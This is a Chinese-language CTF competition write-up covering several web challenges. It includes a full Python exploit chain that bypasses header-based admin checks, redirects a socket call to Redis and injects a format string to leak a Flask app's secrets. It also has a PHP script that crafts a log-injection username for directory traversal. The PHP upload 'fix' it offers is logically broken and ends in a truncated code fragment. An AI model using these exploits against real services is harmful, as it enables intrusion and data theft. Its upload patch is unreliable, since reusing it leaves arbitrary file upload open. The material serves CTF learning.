感觉半决赛打的还是失误太多了
AWDP
timecapsule
这题的fix和break单独写了一篇博客,自己翻翻应该翻得到。
这题就亏在没有第一时间去fix,而是脑子里想着怎么break,留一点时间来fix也不迟,结果break的链子一时间太难找了,fix上去之后又卡check卡了两轮主办方才修好check的问题,直接少吃两轮的fix分数。当时就应该第一时间修好,脑子瓦特了
rng-assistant
这题我们break快break成功了,但是想不到一个read only的redis该如何利用,赛后看完发现是通过之后的ssti才能break成功
break
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 import socketimport redisimport jsonimport osfrom hashlib import md5, sha256from os.path import joinfrom flask import Flask, request, jsonify, sessionfrom flag import FLAGapp = Flask(__name__) app.secret_key = os.urandom(0x10 ) redis_conn = redis.Redis(host="localhost" , port=6379 , db=0 ) model_ports = {"math-v1" : 54321 , "default" : 50051 } users = {"test" : {"password" : "098f6bcd4621d373cade4e832627b4f6" }} class PromptTemplate : PROMPT_DIR = "static/prompts" def __init__ (self, question, user_level="primary" ): self.user_level = user_level self.question = question @staticmethod def get_template (template_id ): prompt_key = f"prompt:{template_id} " prompt = redis_conn.get(prompt_key) if not prompt: template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id} .txt" ) with open (template_path, "rb" ) as file: prompt = file.read() redis_conn.set (prompt_key, prompt) prompt = prompt.decode(errors="ignore" ) return prompt def get_prompt (self, template_id ): return PromptTemplate.get_template(template_id).format (t=self) def get_model_port (model_id ): return model_ports.get(model_id, model_ports["default" ]) def generate_prompt (user_question, prompt_id="math-v1" ): return PromptTemplate(user_question).get_prompt(prompt_id) def query_model (prompt, model_id="default" ): cache_key = f"{md5(prompt.encode()).hexdigest()} :{model_id} " cached = redis_conn.get(cache_key) if cached: return cached.decode() try : with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("127.0.0.1" , get_model_port(model_id))) s.sendall(prompt.encode("utf-8" )) response = s.recv(4096 ).decode("utf-8" ) redis_conn.setex(cache_key, 3600 , response) return response except Exception as e: return f"Model service error: {str (e)} " def generate_salt (): return os.urandom(0x10 ) def hash_password (password, salt ): return sha256(salt + password.encode()).hexdigest() def whoami (username ): role = request.headers.get("X-User-Role" ) if username is None : r = role else : r = username + ":" + role return r @app.route("/" ) def index (): return f"Welcome to the RNG Assistant, {whoami(session['user' ])} !" @app.route("/register" , methods=["POST" ] ) def register (): data = request.json username = data.get("username" ) password = data.get("password" ) if not username or not password: return jsonify({"error" : "Missing username or password" }), 400 if username in users: return jsonify({"error" : "Username already exists" }), 400 salt = generate_salt() hashed_password = hash_password(password, salt) users[username] = {"password" : hashed_password, "salt" : salt} return jsonify({"message" : "Registration successful" }) @app.route("/login" , methods=["POST" ] ) def login (): data = request.json username = data.get("username" ) password = data.get("password" ) user = users.get(username) if not user or user["password" ] != hash_password(password, user["salt" ]): return jsonify({"error" : "Invalid credentials" }), 401 session["user" ] = username return jsonify({"message" : f"Login successful" , "user" : whoami(session['user' ])}) @app.route("/ask" , methods=["POST" ] ) def ask_question (): if "user" not in session: return jsonify({"error" : "Login required" }), 401 data = request.json question = data.get("question" ) model_id = data.get("model_id" , "default" ) final_prompt = generate_prompt(question) response = query_model(final_prompt, model_id) res = {"answer" : response, "prompt" : final_prompt, "model_id" : model_id, "user" : whoami(session['user' ])} return jsonify(res) @app.route("/admin/raw_ask" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_ask (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" , "default" ) custom_prompt = data.get("prompt" ) final_prompt = custom_prompt response = query_model(final_prompt, model_id) return jsonify({"answer" : response, "user" : whoami(session['user' ])}) @app.route("/admin/model_ports" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_model_ports (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" ) port = data.get("port" ) if request.method in ["POST" , "PUT" ]: if not model_id or not port: return jsonify({"error" : "Missing parameters" }), 400 model_ports[model_id] = port return jsonify({"message" : "Update successful" , "user" : whoami(session['user' ])}) elif request.method == "DELETE" : if not model_id: return jsonify({"error" : "Missing model_id" }), 400 if model_id in model_ports: del model_ports[model_id] return jsonify({"message" : "Delete successful" , "user" : whoami(session['user' ])}) if __name__ == "__main__" : app.run(port=8000 )
先看路由吧:
1 2 3 @app.route("/" ) def index (): return f"Welcome to the RNG Assistant, {whoami(session['user' ])} !"
根路由没啥用,这个whoami
读取headers里的X-User-Role
来识别角色身份
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route("/register" , methods=["POST" ] ) def register (): data = request.json username = data.get("username" ) password = data.get("password" ) if not username or not password: return jsonify({"error" : "Missing username or password" }), 400 if username in users: return jsonify({"error" : "Username already exists" }), 400 salt = generate_salt() hashed_password = hash_password(password, salt) users[username] = {"password" : hashed_password, "salt" : salt} return jsonify({"message" : "Registration successful" })
注册也是,简单的注册
登录也是简单的登录然后进行验证,然后赋session:
1 2 3 4 5 6 7 8 9 10 11 12 @app.route("/login" , methods=["POST" ] ) def login (): data = request.json username = data.get("username" ) password = data.get("password" ) user = users.get(username) if not user or user["password" ] != hash_password(password, user["salt" ]): return jsonify({"error" : "Invalid credentials" }), 401 session["user" ] = username return jsonify({"message" : f"Login successful" , "user" : whoami(session['user' ])})
ask路由能询问ai:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route("/ask" , methods=["POST" ] ) def ask_question (): if "user" not in session: return jsonify({"error" : "Login required" }), 401 data = request.json question = data.get("question" ) model_id = data.get("model_id" , "default" ) final_prompt = generate_prompt(question) response = query_model(final_prompt, model_id) res = {"answer" : response, "prompt" : final_prompt, "model_id" : model_id, "user" : whoami(session['user' ])} return jsonify(res)
做了一个鉴权之后生成模型之后就去给模型提问
raw_ask路由同样能够询问路由,而且能够自定prompt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route("/admin/raw_ask" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_ask (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" , "default" ) custom_prompt = data.get("prompt" ) final_prompt = custom_prompt response = query_model(final_prompt, model_id) return jsonify({"answer" : response, "user" : whoami(session['user' ])})
顺带一提,这个鉴权由于是通过headers
来辨认的,所以注册随便一个用户都能够直接通过验证得到admin身份
最后这个路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @app.route("/admin/model_ports" , methods=["POST" , "PUT" , "DELETE" ] ) def manage_model_ports (): if ( "user" not in session or request.headers.get("X-User-Role" ) != "admin" or request.headers.get("X-Secret" ) != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error" : "Access denied" }), 403 data = request.json model_id = data.get("model_id" ) port = data.get("port" ) if request.method in ["POST" , "PUT" ]: if not model_id or not port: return jsonify({"error" : "Missing parameters" }), 400 model_ports[model_id] = port return jsonify({"message" : "Update successful" , "user" : whoami(session['user' ])}) elif request.method == "DELETE" : if not model_id: return jsonify({"error" : "Missing model_id" }), 400 if model_id in model_ports: del model_ports[model_id] return jsonify({"message" : "Delete successful" , "user" : whoami(session['user' ])})
简单的看一下会发现它会根据model_id
去寻找对应的模型,然后修改它对应的端口,在app.py里可以看到对应的模型端口:
询问ai的query_model
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def query_model (prompt, model_id="default" ): cache_key = f"{md5(prompt.encode()).hexdigest()} :{model_id} " cached = redis_conn.get(cache_key) if cached: return cached.decode() try : with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect(("127.0.0.1" , get_model_port(model_id))) s.sendall(prompt.encode("utf-8" )) response = s.recv(4096 ).decode("utf-8" ) redis_conn.setex(cache_key, 3600 , response) return response except Exception as e: return f"Model service error: {str (e)} "
这里来使用socket传递,有种ssrf的味道,结合题目中的改端口操作以及redis服务,想的第一时间应该是ssrf打redis的操作
那实际的操作流程应该是:绕过鉴权后访问/admin/model_ports
来修改端口成6379,从而访问redis服务,再通过/admin/raw_ask
来对redis进行攻击:
1 2 3 4 5 /admin/model_ports 路由: { "model_id" :"default", "port" :6379 }
修改default模型的端口为6379,然后通过raw_ask发送socket请求从而打redis:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 payload = """\ CONFIG SET dir /tmp/\n set x "aa"\n save info""" resp = requests.post( url=f"http://{host} :{port} /admin/raw_ask" , headers={ "X-User-Role" : "admin" , "Content-Type" : "application/json" , }, cookies={ "session" : cookie }, data=json.dumps({ "prompt" : payload }) )
当时redis存在未授权访问,尝试未授权写webshell,但是是python服务,无法战胜。然后想进行写ssh key,发现没有给你22端口,也是无法战胜。最后想进行主从复制rce,发现这个 redis居然是read only slave,不能够打主从复制。
基本上redis的路线都被ban了,该怎么办呢?
注意到:
1 2 def get_prompt (self, template_id ): return PromptTemplate.get_template(template_id).format (t=self)
这个函数传入了格式化字符串,因为通过get_template
会返回一个字符串,然后通过格式化字符串渲染字符
在学习pyjail 的时候有了解过f字符串进行执行(.format也同理,是格式化字符串的一种),但是测试发现.format的限制会略微比f字符串
大一些,如下demo所示:
1 2 3 4 5 6 7 >>> "{f.__class__}" .format(f='' ) >>> f"{''.__class__}"
可以实现类似ssti的内容
本题中,由于template存在了redis里,如下所示:
1 2 3 4 5 6 7 8 9 10 11 @staticmethod def get_template (template_id ): prompt_key = f"prompt:{template_id} " prompt = redis_conn.get(prompt_key) if not prompt: template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id} .txt" ) with open (template_path, "rb" ) as file: prompt = file.read() redis_conn.set (prompt_key, prompt) prompt = prompt.decode(errors="ignore" ) return prompt
先访问redis如果redis内没有再去访问本地文件,因此优先获取redis内的数据。我们可以尝试修改prompt:{template_id}
的值,然后向ai问问题,get_prompt
后实现模板渲染
值得一提的是题目特意有一行:
因此可以通过__init__.__globals__
获得,题目恰好又会传入self
(也就是PromptTemplate对象),不妨测试一下:
1 2 3 4 5 6 7 8 flag = "123" class Person : def __init__ (self ): pass t = Person() print ("{t.__init__.__globals__}" .format (t=t))
由此可见可以从class.__init__.__globals__
中获得import进的全局变量flag
编写exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import requestsimport jsonhost = "127.0.0.1" port = 18082 payload = """\ SET prompt:math-v1 {t.__init__.__globals__} info""" resp = requests.post( url=f"http://{host} :{port} /register" , headers={ "Content-Type" : "application/json" , }, data=json.dumps({ "username" : "caterpie" , "password" : "password" }) ) resp = requests.post( url=f"http://{host} :{port} /login" , headers={ "Content-Type" : "application/json" , }, data=json.dumps({ "username" : "caterpie" , "password" : "password" }) ) cookie = resp.headers.get("Set-Cookie" ).split(";" )[0 ].split("=" )[1 ] resp = requests.post( url=f"http://{host} :{port} /admin/model_ports" , headers={ "X-User-Role" : "admin" , "Content-Type" : "application/json" , }, cookies={ "session" : cookie }, data=json.dumps({ "model_id" : "default" , "port" : 6379 }) ) resp = requests.post( url=f"http://{host} :{port} /admin/raw_ask" , headers={ "X-User-Role" : "admin" , "Content-Type" : "application/json" , }, cookies={ "session" : cookie }, data=json.dumps({ "prompt" : payload }) ) resp2 = requests.post( url=f"http://{host} :{port} /ask" , headers={ "X-User-Role" : "admin" , "Content-Type" : "application/json" , }, cookies={ "session" : cookie }, data=json.dumps({ "question" : "hi" }) ) print (resp2.text)
fix
fix不了一点,十次机会全是操作异常,思路应该是禁止访问6379端口,然后再鉴权做好一下,而题目限制用sed修改,当时怎么修复都修不好,摆了,直到awdp结束都没有一个队伍能够修好这个容器。
感觉是启动脚本写的不对,又没有太好的方式,只能先照抄start.sh :
1 2 3 4 5 6 7 8 9 10 11 ps -ef | grep python | grep -v grep | awk '{print 2}' | xargs kill -9 sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.pypython3 /app/mini-ollama/default.py & python3 /app/mini-ollama/math-v1.py & gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app & nginx
直接贴我们成员写的可能修复的脚本了,好麻烦:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/bin/bash $NEW_PASSWD = "aDm1Ni2eb56O" ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9 sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD \"/g" /app/app.py sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py python3 /app/mini-ollama/default.py & python3 /app/mini-ollama/math-v1.py & cd /appgunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app & sed -i "s/\"admin\"/\"$NEW_PASSWD \"/g" /etc/nginx/sites-available/flask_app nginx -s reload
php_master
这位更是重量级。。
真的是这题失策了,实际上源码十分地简单,但是第一眼看到的时候可能会两眼一黑:
附件里没给任何一个php,给的是docker的layer,需要你从这些layer里提取出源码,在blobs里基本上就是.tar文件,添加个tar后缀就行了
打开这个tar可以发现是部分根目录:
如法炮制,发现
1 41ede4ab967a9d396c215e04cb1891f238fec316bf6f6d347e8cca9f3c1bbef5
文件中存在start.sh :
1 2 3 4 5 6 7 8 9 #!/bin/bash echo $FLAG > /flagchmod 400 /flagFLAG="flag{not_here}" service apache2 start sleep infinity;
发现flag是400权限,需要提权
1 d9a18dcc32cc2bade1a31f59e8c8984682f03aef1b3ee44f687ba95a15e1949c.tar
是flag
后面1kb的基本上都是json
在3405bc7c7c007230c0e5580feae2824b570a6fc578bc8fc4a5ba84f8ce359390.tar
发现index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <?php @error_reporting (E_ALL); if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; $upload_dir = '' ; $target_file = $upload_dir . basename ($file ['name' ]); $result = move_uploaded_file ($file ['tmp_name' ], $target_file ); if ($result ) { $message = '文件上传成功!' ; $msg_class = 'success' ; } else { $message = '文件上传失败' ; $msg_class = 'error' ; } } else { $message = '没有选择要上传的文件' ; $msg_class = 'error' ; } } ?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <title>PHP MASTER</title> <style> body { font-family: Arial, sans-serif; max-width: 500 px; margin: 50 px auto; padding: 20 px; } .upload-box { border: 2 px dashed padding: 30 px; text-align: center; } .btn { background: color: white; padding: 10 px 20 px; border: none; border-radius: 4 px; cursor: pointer; } .btn:hover { background: } .message { padding: 15 px; margin: 20 px 0 ; border-radius: 4 px; } .success { background: color: border: 1 px solid } .error { background: color: border: 1 px solid } </style> </head> <body> <h2>PHP MASTER</h2> <?php if (isset ($message )): ?> <div class ="message <?php echo $msg_class ; ?>"> <?php echo $message ; ?> </div > <?php endif ; ?> <form action ="" method ="post " enctype ="multipart /form -data " class ="upload -box "> <p >请选择要上传的文件:</p > <input type ="file " name ="file " required > <br ><br > <button type ="submit " class ="btn ">上传文件</button > </form > </body > </html >
可以看到是一个非常简单到无脑的文件上传
1 9ba485fd11f8ba325ac3433357e33b5c8912578e3800719723cf92a517bc5407.tar
里发现了vuln.so ,路径在/usr/local/lib/php/extensions/no-debug-non-zts-20210902
,感觉应该像pwn那边的任务,搜索找到了D3CTF那边应该有相关的题目
思路可能是上传webshell之后进行pwn的相关操作
气晕了,队友把index.php都扒出来了,然后tmd我们在打rng-assistant就没有管这个题,下次真的得注意一下…
fix
修复就更简单了,文件上传的修复啊,因此这题的fix是很简单的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 <?php @error_reporting (E_ALL); if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; $upload_dir = '' ; $whitelist = [".jpg" , ".png" , ".gif" ]; $filename = basename ($file ['name' ][0 ]); $file_ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($whitelist as $w ){ if ($file_ext !== $w ){ $flag = false ; } } $flag = true ; if ($flag ) { $target_file = $upload_dir . basename ($file ['name' ]); $result = move_uploaded_file ($file ['tmp_name' ], $target_file ); if ($result ) { $message = '文件上传成功!' ; $msg_class = 'success' ; } else { $message = '文件上传失败' ; $msg_class = 'error' ; } } else { $message = 'waf' ; $msg_class = 'error' ; } } else { $message = '没有选择要上传的文件' ; $msg_class = 'error' ; } } ?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <title>PHP MASTER</title> <style> body { font-family: Arial, sans-serif; max-width: 500 px; margin: 50 px auto; padding: 20 px; } .upload-box { border: 2 px dashed padding: 30 px; text-align: center; } .btn { background: color: white; padding: 10 px 20 px; border: none; border-radius: 4 px; cursor: pointer; } .btn:hover { background: } .message { padding: 15 px; margin: 20 px 0 ; border-radius: 4 px; } .success { background: color: border: 1 px solid } .error { background: color: border: 1 px solid } </style> </head> <body> <h2>PHP MASTER</h2> <?php if (isset ($message )): ?> <div class ="message <?php echo $msg_class ; ?>"> <?php echo $message ; ?> </div > <?php endif ; ?> <form action ="" method ="post " enctype ="multipart /form -data " class ="upload -box "> <p >请选择要上传的文件:</p > <input type ="file " name ="file " required > <br ><br > <button type ="submit " class ="btn ">上传文件</button > </form > </body > </html >$filename = basename ($_FILE
感觉可以改成这样
ccforum
当时没看懂, 为什么我把数字和字母都过滤掉都能说我exp利用成功,通防已经上得很极限了还能利用成功,那也是没办法。。
break
后面等比赛结束后发现了其他队的做题思路才能好好学习,原因竟然是发生在一个以换行分割
存在的问题上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $log_lines = explode ("\n" , $action_log );$banned_users = [];$failed_logs = [];foreach ($log_lines as $line ) { if (empty ($line )) { continue ; } $parts = explode (',' , $line ); if (count ($parts ) < 5 ) { continue ; } $encoded_user = $parts [1 ]; $action = $parts [2 ]; $success = (int ) $parts [3 ]; $additional_info = $parts [4 ]; if ($action === 'record_banned' ) { if ($success === 1 ) { $banned_users [$encoded_user ][] = $additional_info ; } else { $failed_logs [] = $additional_info ; } } } $banned_contents = [];foreach ($banned_users as $encoded_user => $logs ) { $banned_dir = "/var/www/banned/{$encoded_user} " ; if (file_exists ($banned_dir )) { $files = scandir ($banned_dir ); foreach ($files as $file ) { if ($file !== '.' && $file !== '..' ) { $file_path = $banned_dir . '/' . $file ; $content = file_get_contents ($file_path ); $banned_contents [$username ][] = $content ; } } } }
admin.php对多行日志以\n
进行处理后可以得到每一行的不同部分,对于每一行采用,
进行分割,分成的部分为:
1 2 3 4 $encoded_user = $parts [1 ]; $action = $parts [2 ]; $success = (int ) $parts [3 ]; $additional_info = $parts [4 ];
而对于action
而言,如果action是record_banned
,并且$success
为1的时候会添加banned_users
,并在下面的逻辑中派上用场:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $banned_contents = [];foreach ($banned_users as $encoded_user => $logs ) { $banned_dir = "/var/www/banned/{$encoded_user} " ; if (file_exists ($banned_dir )) { $files = scandir ($banned_dir ); foreach ($files as $file ) { if ($file !== '.' && $file !== '..' ) { $file_path = $banned_dir . '/' . $file ; $content = file_get_contents ($file_path ); $banned_contents [$username ][] = $content ; } } } }
它会根据encoded_user
来扫描该目录下的所有文件,并获取到文件内容添加到$banned_contents
里,在html中回显出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <body> <div class="container"> <h1>Admin Dashboard</h1> <div class="section"> <h2>Banned Users and Contents</h2> <?php if (empty($banned_contents)): ?> <p>No banned content found.</p> <?php else: ?> <?php foreach ($banned_contents as $encoded_user => $contents): ?> <div class="content"> <h3>User: <?php echo $encoded_user; ?></h3> <?php foreach ($contents as $content): ?> <pre><?php echo htmlspecialchars($content); ?></pre> <?php endforeach; ?> </div> <?php endforeach; ?> <?php endif; ?> </div>
也就是说我们只需要对$log_lines
里写这样的内容
1 <任意内容>,../../../,record_banned,1,<任意内容>
就能够在$banned_contents
里通过目录穿越来读到根目录下所有文件的内容
接下来就是对$log_lines
进行分析了
1 2 3 $action_log_path = '/var/www/action.log' ;$action_log = file_get_contents ($action_log_path );$log_lines = explode ("\n" , $action_log );
此时应该去分析$action_log_path
是怎么写入的,继续查看源码
发现在config.php
里有file_put_contents
写入的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function log_action ($username , $action , $succ , $additional = '' ) { $log_id = uniqid (); $e_username = encode_uname ($username ); $log_line = sprintf ( "%s,%s,%s,%d,%s\n" , $log_id , $e_username , $action , $succ , $additional ); file_put_contents ('/var/www/action.log' , $log_line , FILE_APPEND); }
然后你会发现写入的时候是写入的encode_uname
:
1 2 3 4 function encode_uname ($username ) { return base64_encode ($username ); }
因此我们想在username
直接动手似乎不太可能,全局搜索log_action
函数的使用,发现:
大部分的逻辑都被写死了(username、action、succ都被写死,addtional缺省,根据log_action函数应该是写入空
),只有log_action($username, 'record_banned', $succ, $log)
略带不同,它带有$log
参数能够写入addtional
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function record_banned ($username , $banned ) { $e_username = encode_uname ($username ); $banned_dir = "/var/www/banned/{$e_username} " ; $created = true ; if (!file_exists ($banned_dir )) { $created = mkdir ($banned_dir , 0750 ); } $log = "" ; $succ = 1 ; if (!$created ) { $succ = 0 ; $log = "Failed to create record directory for " . $username ; } else { $filename = $banned_dir . '/' . time () . '.txt' ; if (!file_put_contents ($filename , $banned )) { $succ = 0 ; $log = "Failed to record banned content" ; } } log_action ($username , 'record_banned' , $succ , $log ); }
可以看到$log
是直接拼接$username
进去的,前提是created
为false,也就是需要绕过mkdir($banned_dir, 0750)
由于php中不允许创建多级目录,也就是不允许创建A/B
这样的目录,因此我需要一个经过base64_encode
之后的用户名存在有/
的用户。
还记得我们一定要写的内容吗?
1 <任意内容>\n,../../../,record_banned,1,<任意内容>
因此在这之前的任意内容能够让我们实现加密后产生/
(b64encode是可能会出现/
的)
写一个脚本跑一下:
1 2 3 4 5 6 7 8 9 10 <?php $username = "\n,../../../,record_banned,1," ; for ($i = 0 ; $i < 2000 ; $i ++){ for ($j = 0 ; $j < 2000 ; $j ++){ $e_username = base64_encode (chr ($i ).chr ($j ).$username ); if (strpos ($e_username , '/' ) > 0 ){ die (urlencode ($e_username )); } } }
根据跑出的结果注册这个用户名,然后发带有敏感词的帖子触发record_banned
即可
1 2 3 %03%F0%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C #跑出的username
fix
那fix就很简单了,既然是base64跑出来的问题,那直接把username的加密方式从base64换成其他的加密方式即可,例如md5
当然另外一种方式就是把\n
去掉
感觉这里自己还是太菜啦,但是为什么我过滤了数字和字母还有符号都能判我利用成功呢?按照常理来说你的用户名都不允许这么做输入了应该是可以的啊
ISW
全靠应急响应立大功,web是躺赢狗
还是太慌了,做了那么久一个flag没找出来,连一点线索都没有
git
这道题我感觉确实就是有些思路做少了,flag没拿几个
dirsearch搜到有.git
泄露,但是通过githacker扫下来的分支都是not here
,然后啥都没有,只能够另寻他路
然后莫名其妙在登录的时候发现能够sql注入,随便写了个盲注的脚本,然后啥用没有,用万能密码登录成功后跳转回首页,十分地懵逼,然后队友发现dirsearch
扫出来的那几个php成了可以访问的了,莫名其妙就进了后台,然后莫名其妙传了个文件又莫名其妙getshell了
后续就是把整个html扒下来恢复git之后拿到了flag1
后面实在没想到在/home/.gitlab
里又有一个flag4,名字叫lookme
,没话说。然后看到了ryan用户里有一个del.py
,这里有些莫名其妙,但是发现它可以用来提权,提权到root在root文件夹里又有一个flag
登录到ryan用户里又可以拿到flag3,这真的亏,可以全局搜索flag的,但是我没找到,尝试用find找的flag,结果根本没有
下次必须要用grep
来找了:
1 find / -type f | xargs grep -H -l 'flag' &2>/dev/null
ccb2025
这题xss都tmd请求都没发过来,当时看到feedback.html能够向admin发送反馈,然后admin每隔一段时间会登录就知道应该是xss了,但是xss等了好久了我们请求都没发过来,于是摆了